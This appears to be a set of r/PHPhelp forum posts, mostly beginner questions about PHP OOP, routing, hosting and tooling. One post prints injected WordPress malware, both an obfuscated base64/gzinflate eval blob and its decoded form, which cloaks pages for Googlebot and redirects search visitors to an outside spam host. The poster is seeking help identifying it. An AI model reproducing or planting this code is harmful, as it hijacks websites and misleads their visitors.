r/PHPhelp • • Feb 21 '14

Where to go from here with my self-taught php education?

10 Upvotes

I've been learning php for a while now. I've made some small little projects like a blog, cms and url shortener. Besides these custom php project which are coded line by line I'm learning laravel by going over the video's from laracasts.com, which have helped me immensely.

The problem I'm facing right now though is that most paths you can take with tutorials lead to a dead end when the topic of OOP has been discussed.

I'm stuck with questions like:

  • What is dependency injection

  • What are interfaces

  • What are repositories

  • What is the best way to go about setting up my app and arrange folders within my project.

  • What is autoloading

  • Etc.

Ofcourse you can look up a lot of this information but I do not understand a lot of it since they all require prior knowledge of stuff I know little about.

I feel like I am missing the bridging piece between where the tutorials leave me hanging(at OOP mostly) and the questions I have. Ofcourse experience helps a lot but these aren't things I could have figured out on my own even if I had the time.

Can anyone relate to this, or maybe provide a good website/resource that goes beyond OOP with tutorials and gradually progresses into more advanced PHP?


r/PHPhelp • • Dec 23 '11

Moving away from .php?id=123

10 Upvotes

Hello gents!

So I'm still pretty inexperienced with PHP but was wondering if anyone could help out with a curiosity of mine. So I've been using GET for the longest time since... quite simply... it just works... and the URL's are as stated in the title. However, I've seen some websites have URL conventions where most of this is hidden, and instead the URL looks something like (I'll use users for example)

domain.com/users/12315

Which in my opinion looks a lot cleaner and obvious to the user where they are in the website. Now I'm assuming there isn't 12315 folders inside the users directory, and that there must be some type of technique they use here so take the id from this URL and pull the appropriate user information from the database?

Would be brilliant if anyone could shed some light on this curiosity as mine, as I imagine I would use this much cleaner URL convention for at least news and users!

Thanks!


r/PHPhelp • • Feb 15 '26

PHP course

9 Upvotes

I know JavaScript,css and html I want to learn PHP ,of course I know I must try and write code to learn, but I want to understand complex concepts like cookies and.... ; if you can provide helpful tutorials


r/PHPhelp • • Jan 04 '26

OOP implementation in php

9 Upvotes

we started learning backend since 1er December, now we are about to start mvc ...
i got what oop is what for , why using it , abstraction , inheritance ....
but i dont know how to use this , like in my page should i put inserted data in classes then pass it to repo classes to insert it in sql or where to put the functions ( belongs to who ) , and w ejust start learning diagrams (class diagram ) so that kinda blow my mind


r/PHPhelp • • Dec 25 '25

How to handle product variations in PHP/MySQL

9 Upvotes

Hi,

I have built a webshop, and the product numbers are in 123456 format.
Let's say I have a product with length variations, 1 meter, 2 meter and 5 meters. What is the best way to handle that in terms of code/database?

I am thinking of 2 different solutions.

  1. A cross-reference table in MySQL where I store each variation as a row in the database. Then it's easy to give every unique product a specific name.

  2. Adding numbers to the original product number. Ex 123456A, 123456B, then check for deviations in the product number and present a drop-down if product_number > 6 digits. Harder to store unique names then I guess.

Please let me know if you have any experience or the best solution for this.


r/PHPhelp • • Nov 14 '25

How Would You Architect Multi-Tenant DB Mapping for a PHP/CodeIgniter SaaS Without Subdomains?

9 Upvotes

I’m building a SaaS product in PHP using CodeIgniter for my own companies and I’m now considering offering it to external clients as well. Since the application handles sensitive business data, I’m leaning toward giving each tenant its own dedicated database rather than relying on a shared schema with a tenant ID. The risk of cross-tenant leakage due to a forgotten condition in a query is something I want to eliminate as much as reasonably possible.

I briefly considered isolating every tenant in its own container, but the operational overhead feels excessive for this use case. It’s not a financial or compliance-heavy product, so full container-level isolation would likely add more complexity than value.

The main question I’m trying to solve now is: what’s the most sensible way to map a tenant to the correct database? The straightforward solution would be to use subdomains and switch the DB connection based on the subdomain, but I don’t really like the UX of that approach. Ideally, I want a single unified login URL where all users sign in with their credentials and are then routed to the correct tenant space.

The complication is that all login data is stored inside each tenant’s database. I also don’t want to add a third login field like “Tenant ID” just to know which database to connect to. So I’m wondering how others approach this. How do multi-tenant accounting solutions and similar SaaS tools handle this when they also don’t use subdomains?

Curious to hear how you would design this and what patterns you’ve seen work best for securely routing logins to the right tenant database without compromising UX.


r/PHPhelp • • Oct 23 '25

What do I need to do to host my PHP + Docker project online for my company?

9 Upvotes

Hey everyone,

I built a full PHP web app using **Docker** (PHP + MySQL + Nginx). Everything works perfectly on my local machine — database, migrations, and all.

Now I want to **make it live** so other people from the company where I work can access it, but I’m not sure what the best next steps are.

What do I actually need to do?
- Should I rent a **VPS** (Hetzner, DigitalOcean, AWS Lightsail) and run Docker there?
- Or use a **managed platform** that handles SSL, domains, and deployment for me?
- Do I just copy my project, run `docker compose up -d`, and execute migrations again?
- How should I handle my `.env` file, database credentials, and HTTPS in production?

Basically, I’d like to understand the **whole process**, from local Docker setup to a live, secure website that my team can use internally or publicly.

Any clear step-by-step explanation or hosting recommendation would really help!!


r/PHPhelp • • Aug 27 '25

Alternative for xampp

9 Upvotes

hello guys can you give alternative app for xampp or can you help me fix? i can't use xampp. when i try to start the apache this error appear

1:07:34 pm [Apache] Error: Apache shutdown unexpectedly.

1:07:34 pm [Apache] This may be due to a blocked port, missing dependencies,

1:07:34 pm [Apache] improper privileges, a crash, or a shutdown by another method.

1:07:34 pm [Apache] Press the Logs button to view error logs and check

1:07:34 pm [Apache] the Windows Event Viewer for more clues

1:07:34 pm [Apache] If you need more help, copy and post this

1:07:34 pm [Apache] entire log window on the forums


r/PHPhelp • • Aug 13 '25

Laravel is slow locally, but fast on production host

9 Upvotes

I am hosting a Laravel app on hetzner web host (so Apache). It is fast on the server, no issues at all.

But when I am running it locally (using Laravel's web server), it is quite slow, sometimes taking 1-2 seconds for a single page load. As long as it is fine on server, I have no issues, it just makes development a bit annoying sometimes.


r/PHPhelp • • Jun 22 '25

OpenSwoole as non-blocking PHP backend to reduce server loads?

9 Upvotes

I've a content website with decent traffic, currently using traditional php with php-fpm. Redis is used to cache frequently accessed content as json objects. PHP renders the json to html. It's high load on cpu. Database is mysql, all data is saved into json files automatically to reduce load on cpu, json files only updated if the data in mysql database is updated. Server peaks sometimes and mostly because of php-fpm processes.

I'm thinking to switch the front end to htmx, use OpenSwoole as server and nginx as proxy server. Redis to cache html fragments. This way php won't be responsible for rendering so reduces the cpu load. Getting rid of PHP-FPM to process requests will save ram, I think..

The issue I have is that I couldn't find big websites using OpenSwoole, no much content about it on youtube or elsewhere. How is its support?

Any suggestions about this change to htmx and OpenSwoole?

Any feedback is appreciated.


r/PHPhelp • • Apr 08 '25

Right way to PHP OOP Implementation

9 Upvotes

Hi, I'm working as a full stack php developer. My job mainly requires procedural style php code. So I'm quite well versed with it.

Now, I have been trying to learn php oop. But no matter how many videos or guides i see, its still confusing.

Main confusion comes from

  1. File organization

  • should each class be a seperate php file

  • should utility class ( sanitization, uppercase, lowercase etc) be all combined in one?

  • how to use one class in another class

  1. How to create class

  • what should constitute a class. Should user be a class defining creation / deletion / modification of users

  • what exactly should a constructor of class do ( practically)

I'm still trying to defer mvc architecture for now. In order to understand how the design and flow for oop program should be done

Any and all help with this is helpful. I understand the basics, but having difficulty with irl implementation. Please recommend any guide that helps with implementation rather than basics.

Thanks


r/PHPhelp • • Sep 28 '24

How to tell if code is written in most current stable version of Laravel?

9 Upvotes

I have hired a Freelancer to rewrite my web software architecture from php 5 (very old) to the most stable version of Laravel. There are hundreds of files for my e-commerce site. How do I actually check and test if all the files are written in Laravel and it is working perfectly. Is there an online website that I can go to that tells me?


r/PHPhelp • • Jun 28 '24

What is the best way to develop laravel applications on linux?

9 Upvotes

I'm making the switch from Windows to Linux primarily because many VPS providers use Linux, and I want to get accustomed to developing PHP and Laravel applications in a Linux environment. When it comes to production, I want to ensure my development environment mirrors what I'll be working with.

I've already downloaded XAMPP for Linux, but I don't quite like it. I’ve heard that installing Apache directly and organizing my project files in /var/www might be a cleaner and more efficient approach. Could someone who develops on linux give me some advice on the best approach here?


r/PHPhelp • • Jun 17 '24

Junior Dev - Massive PHP Codebase - No standards followed - HELP!

9 Upvotes

I just started my second programming job a few days ago as a Junior PHP Developer. I love web development and PHP, so I am SO excited to be working with my passion.

The issue I have run into is that there is a very large codebase, and it doesn't seem to have any standards followed.... By that I mean, the entire codebase isn't even in version control. We have a production environment, and a dev environment, but to develop, we are literally making changes to the dev files. So it would be totally possible for a file that is in development to accidentally get brought over to production without the other developer knowing that the file was being worked on.

I've also found there is absolutely NO documentation for any of the code which uses a TON of custom classes and even a custom ORM (which also has no documentation).

There are no naming conventions used and the worst is there is no MVC pattern being used, so it is all spaghetti code... Some files are over 40,000 lines.

I have heard the traditional knock on PHP happens to be horror stories like this. I am determined to get good at this and I refuse to give up, but I was wondering if anybody out there came into a similar situation and what you did to get up to speed as quickly as possible.

I spent the last 2 nights looking through the codebase and trying to implement the functionality I was asked to do, but I feel really lost.

TL;DR

Started a JR PHP Dev job and facing a mess of a codebase. How can I get up to speed quickly?

UPDATE: I should also note that I am a pretty good developer for a junior. I have my own side business where I build custom Wordpress sites. I also have developed several projects at my last dev job as well in PHP. Full on working web applications in PHP.

I have also made several projects in Laravel and React... So I don't think this is a skill thing, but I could be wrong.


r/PHPhelp • • Jun 09 '24

What application is similar to Laragon but on Linux Ubuntu?

9 Upvotes

I'll try to now mainly program PHP/Laravel on Ubuntu, what application can replace Laragon on Linux? Also if there are any tips you could give me before coding on Linux with PHP or Laravel you can sure give them to me:)


r/PHPhelp • • Apr 22 '24

Solved How would you learn PHP again if you needed to start from scratch?

9 Upvotes

I need to learn PHP and Laravel for a university project and I'm looking for resources to learn from? I would really appreacite if you could point me towards some good ones.

I already know JavaScript, React and a little bit of Python.


r/PHPhelp • • Mar 20 '24

When leanring PHP as a first programming Language for server-side Backend, is HTML and CSS skills a must have skill?

9 Upvotes

Hi everyone, Im currently interested in being a Backend Web Developer. I have seen this amazing Backend Roadmap created from roadmap.sh and I would like to choose PHP as my first programming language to learn and master.

The reason why I chose PHP is because well roadmap.sh says that PHP is one of languages for backend web deb but also PHP is one of the most popular languages in my country (Indonesia) right after or before Javascript.

But I noticed one thing, every PHP guide I've found either from w3schools, programming with Gio, or Traversy media, they all paired PHP with HTML and CSS. I do know that Laravel is the main tool framework to use with PHP but HTML and CSS by my own research, is only for designing pretty websites.

I understand the need to learn things like SQL, databases, etc. For backend but HTML and CSS?

Im confused here and I need help.

Tbh my cousin who was a PHP developer recommended me a junior devops life instead but after my own research, Junior DevOps roles are much much rarer and only for seniors only.


r/PHPhelp • • Feb 26 '24

Any way to SAFELY execute shell scripts from PHP?

9 Upvotes

I have a website accessible from https://exampleurl.com:1234 (i.e. nonstandard port).

After logging in, this website gives my users a GUI and a few buttons. The buttons interact with PHP scripts on an Unraid VM, which then launch shell scripts. The shell scripts are used for controlling streams via streaming software called "OBS-Studio".

Here's an example:

my.php
<?php
$output = shell_exec("/bin/bash /var/www/html/streamstart.sh");
echo $output; 
?>


streamstart.sh
#!/bin/bash
obs-cmd streaming start

I'm relatively new to PHP, and I'm not sure how this could be exploited. Is there a way to make this more secure?

I have set the password for my users to be extremely secure, but that feels like the only line of defense right now.


r/PHPhelp • • Oct 12 '23

[PHP] How do I read barcodes from an image?

9 Upvotes

I don’t recall the program that always comes up when I’m searching for this. But it requires backend installation. Which I am pretty certain on my Hostinger CPanel I don’t have access to.

So is there any other way of achieving this without operating system level control?

Essentially I want to be able to do this:

$imageURL = “/files/picture.png”;

$Barcode = ScanBarcodes($imageURL);

echo $Barcode;


r/PHPhelp • • Oct 03 '23

I found some unusual code in my friend's index.php - is this an exploit?

9 Upvotes

Lemme preface this with I'm a python backend dev and I have almost zero php and wordpress experience. I'm going by intuition and dead reckoning mostly. My friend calls me in a panic and tells me her Wordpress-powered website has started showing this error at the top of the page:

Notice: Undefined index: HTTP_REFERER in REDACTED/index.php(9) : eval()'d code on line 15

I dug into the web server and found the index.php file in question, which looked like this:

<?php function OFgP($nGtfQ)
{ 
$nGtfQ=gzinflate(base64_decode($nGtfQ));
 for($i=0;$i<strlen($nGtfQ);$i++)
 {
$nGtfQ[$i] = chr(ord($nGtfQ[$i])-1);
 }
 return $nGtfQ;
 }eval(OFgP("tVTRbpswFH2Hr3ARqkGlkDxM6pZmUxXRtFKXdITsYWmGqOcQr4ApmDVd22/ftQlNk03bNGmIB9v33nPOPb6AEDy6WdKErlAfGd7nK292cvgpPvzeOXw9P7iKtnYvYlcR7N0k5gemZ/R087am5T1AmNHEDz76wQwH/oepPwmjaXCO5z1NZwurEiW8VpPsGBUTNIsLd5Wlhm0/6BolS46GVJyylA54LmgurO2sHl0x0dOf1mis4JW1oTwLw8toCrvoZOiPQjx3EB5ynqT0mgtso71+Hy3itKKSDBBYVVGxlmOj/X1UgBNRFguytBpTnHVQFmgmMEKLuwKXQhRvPG9R8uxrkbuEZx7hN+WCQbNe56jTvSmPul2viBNaucWyeGe4DaprPMKyVW8o9WfjSWjM7R7QKTckp9qovrUnaF32/kIo9qxE9SiZH5+X7k35eB8vOVfH1yxP1CKPv9FSrmyPYQcBuuApv6Plro2Bf+oHfoDntv0vbrX68XFF4JrE2y+c1Bn45aacxILxvP/XziU8p3eNddiFS89aES6GiTj21gz42ScERlG4ZtC9scyMhn44w3WN53t9w7AfNP2/StzQ/UKnkqlJZYs6J5Jrd6zMukzXxrcpEVRVorLwAvKihIqINMkVtm2kJlRF2lOY1Z8yG1w5SUg61FSRJaQSCEQsZ8JS02cKllFeC4i8koZqKg4TwAuBLChx0GAaXIwv5Rd+4aAW9zd5gR9Og1EYnIwmMFsO6tp/AB6MRyN/EIbn7/3xNASOtaZG4G6vCoeuKJEgGykk5RVtj550raSiLnO0XQ6/FPQD"));?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';

Looks like some obfuscation, which made me raise an eyebrow, but for all I know, some plugin generated this. Here's the decloaked code:

$regex = "/^\/[A-Za-z0-9]+_[A-Za-z0-9]+\/[A-Za-z0-9_]+\.gao+$/";
$query = $_SERVER['REQUEST_URI'];	
if(strstr($query,"sitemap.xml")){
	echo GetFileContent("sitemap.xml");exit;
}
if(stripos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') !== false){
	if(isset($query) && preg_match($regex,$query)){
		$str = GetFileContent("http://fromjpn.com/cokrfirst/0801kr811/pages.php?".$query."|".$_SERVER["HTTP_HOST"]);
		echo $str;
		exit;
	}
}

if(preg_match('/(google.com|google.co.kr|yahoo.com|bing.com|naver.com)/i', strtolower($_SERVER['HTTP_REFERER']))){
	if(isset($query) && preg_match($regex,$query)){

		echo '<script>document.location=("http://fromjpn.com/cokrfirst/0801kr811/gonews.php?'.trim($query).'");</script>';
		exit; 
	}else{
	
	}
}

if($_GET['uu']!=""){	
	echo '<script>document.location=("http://fromjpn.com/cokrfirst/0801kr811/gonews.php?'.trim($_GET['uu']).'");</script>';
	exit;	
}

function GetFileContent($url){
	if(function_exists('file_get_contents')) {
		$file_contents = file_get_contents($url);
	} else {
		$ch = curl_init();
		$timeout = 5; 
		curl_setopt ($ch, CURLOPT_URL, $url);
		curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
		$file_contents = curl_exec($ch);
		curl_close($ch);
	}
	return $file_contents;
} 

I visited fromjpn.com in a sandbox and it redirects to some sort of spammy/weeb looking hangul site. Is this doing anything actually for the functionality of the site, or is this some sort of exploit that somehow got injected into the index.php file?


r/PHPhelp • • Jun 17 '23

Understanding Array vs Object

9 Upvotes

Hello everybody,

sorry if it's a dumb question but I need your help.

Between these two solutions for saving a Book after a form submit:

// book_submit.php
$BookMapper = new BookMapper(
    $Database,
    $Log
);
$Book = new Book();
$Book->title = $_POST['title'];
$Book->summary = $_POST['summary'];
$BookMapper->insert($Book);

and

// book_submit.php
$BookMapper = new BookMapper(
    $Database,
    $Log
);
$BookMapper->insert(
    array(
        "title" => $_POST['title'],
        "summary" => $_POST['summary']
    )
);

// Or even
$BookMapper->insert($_POST);

which one is considered the best and why?

The BookMapper class will return a Book object from its select() method, here I'm only talking about saving data.

Thank you


r/PHPhelp • • Oct 21 '22

Solved Working my way through an OOP PHP course, but struggling to pull the concepts together. Can you recommend a good reference to help reinforce the concepts?

9 Upvotes

I am working my way though Gary Clarke's OOP PHP course on Udemy. I feel like I have a decent grasp on the basics, but I'm struggling to pull everything together into a cohesive understanding that would allow me to create my own project.

I understand the basic principle of things like classes, properties, methods, private/public/static, construct/destruct, getters and setters, name spaces, extending classes, and so forth. But everything still feels very fuzzy. I'm looking for recommendations for a reference or some guided practice projects that will help pull everything together.


r/PHPhelp • • May 26 '22

I'm new to PHP OOP and looking for feedback on my proposed OOP design structure before I dive in a start coding it. Thanks!

9 Upvotes

I'm a lifelong coder but (very) new to OOP and would like to hear some feedback/advice/suggestions on my proposed design structure. I've spent the last week of tinkering with design diagrams. This is very much something I've come up with myself from scratch so I expect there are better ways to do things! Also apologies if I use any incorrect terminology, I'm keen to be corrected and improve on my language usage too.

I am creating a script that needs to:

  1. Get data from various external platforms.

  2. Select other data from my database tables.

  3. Process this data in various ways.

  4. Update the database tables.

  5. Post some data back to the external platforms.

My proposed OOP design is summarised as:

  • There are two major classes: ADAPTERs and MODELs

  • There are two minor classes: RequestTool and QueryTool

I've also come up with some kind of diagram here if it helps: https://imgur.com/a/c6NdOkG [Note: I should have put interaction arrows between the Message class and Contact class. Such interaction between the models is what provides the fundamental processing for the whole system really.]

Each class performs as follows:

The RequestTool is a simple class that takes some API Request data such as an API key, endpoint and various parameters, then gets or posts to the external platform and returns the response.

The QueryTool is a similar tool but for selecting from, and updating, my database tables.

The ADAPTER class

These provide a transformative function allowing external platform-specific data to be represented as standardised internal objects (MODELs), and conversely for standardised object data to be passed and transformed back to platform-specific endpoints.

There is an adapter subclass for each external platform (e.g. InstaBookAdpater and FaceGramAdapter) and only one instance of each subclass is usually required.

Each adapter object stores its respective API request data in its properties. It uses the RequestTool class to pull data from its respective platform and converts it into standardised MODEL instances. For example, imagine that the InstaBook platform stores messages and contacts in one way, but the FaceGram platform stores messages and contacts in a different way. They also deal with API Requests differently. In my system, each respective adapter gets and transforms these unique data structures into standardised arrays of MessageModel instances and ContactModel instances.

Each adapter can also post data back to its specific platform. So it could be called upon by a MODEL's method (more on these in a moment) once again serving a transformative function. The model could send standardised data to a general sendMessage() adapter method and each adapter subclass would have a tailored sendMessage() method to ensure that the correct message is sent via its specific platform.

The MODEL class

As described above, these are usually first instantiated by an ADAPTER to represent and manipulate data from external platforms in a standardised way. In some cases they may be instantiated from one of my database tables instead.

There are MODEL subclasses for different types of data such as a MessageModel and a ContactModel. The MessageModel might have properties such as "sourcePlatform", "sender" and "messageContent". The ContactModel might have properties such as "platformUsernamePairs", "myNickname" and "isFavourite". ContactModel instances could be instantiated from contact lists on the external platforms, but also from my "Favourite_Contacts" database table too.

Each MODEL subclass uses unique methods to process and respond to data. So the MessageModel might include a searchForHeartEmoji() method and a replyToMessage() method. The MODEL methods do fairly complex things involving their internal properties and the properties of other MODEL objects such as other MessageModel instances and ContactModel instances.

Ultimately the MODELs can send data to the external platforms via the ADAPTERs, update my database to store data permanently, or send alerts to me as the user.

Some examples of data flow

Some ADAPTER-MODEL subsystems only travels "inward". In this case an ADAPTER gets data from an external platform into MODEL instances but never posts anything back. This data could interact "horizontally" with other MODEL instances, or be stored in a database.

Some subsystems work in every direction, getting data from external platforms and out from my database, processing horizontal model-model interactions, and posting back to external platforms and updating my databases.

Some systems work in a more "outward" manner, selecting "historical" records from my database tables to create MODEL instances which then interact with other models or post data to external platforms.

Questions

Does my "adapter-model" design make sense? Does this kind of design have a specific name or are there any similar design patterns? Are there other design patterns that would be more appropriate for my required functionality?

Thank you very much for any guidance you can offer!


Edit: I've just been reading about decorator classes and I think it would make sense to store the relevant adapter instance as an "adapter" property within each model instance. So the adapter instantiates the model like this:

$messageList[] = new Message($this);

And then the model can call its adapter like this:

$this->adapter->sendMessage();

r/PHPhelp • • Apr 09 '22

Solved Best Practice for Pre-Defining Multiple Arrays.

9 Upvotes

What is the better method?

<?php

$array1 = $array2 = $array3 = array();

// or

$array1 = array();
$array2 = array();
$array3 = array();

?>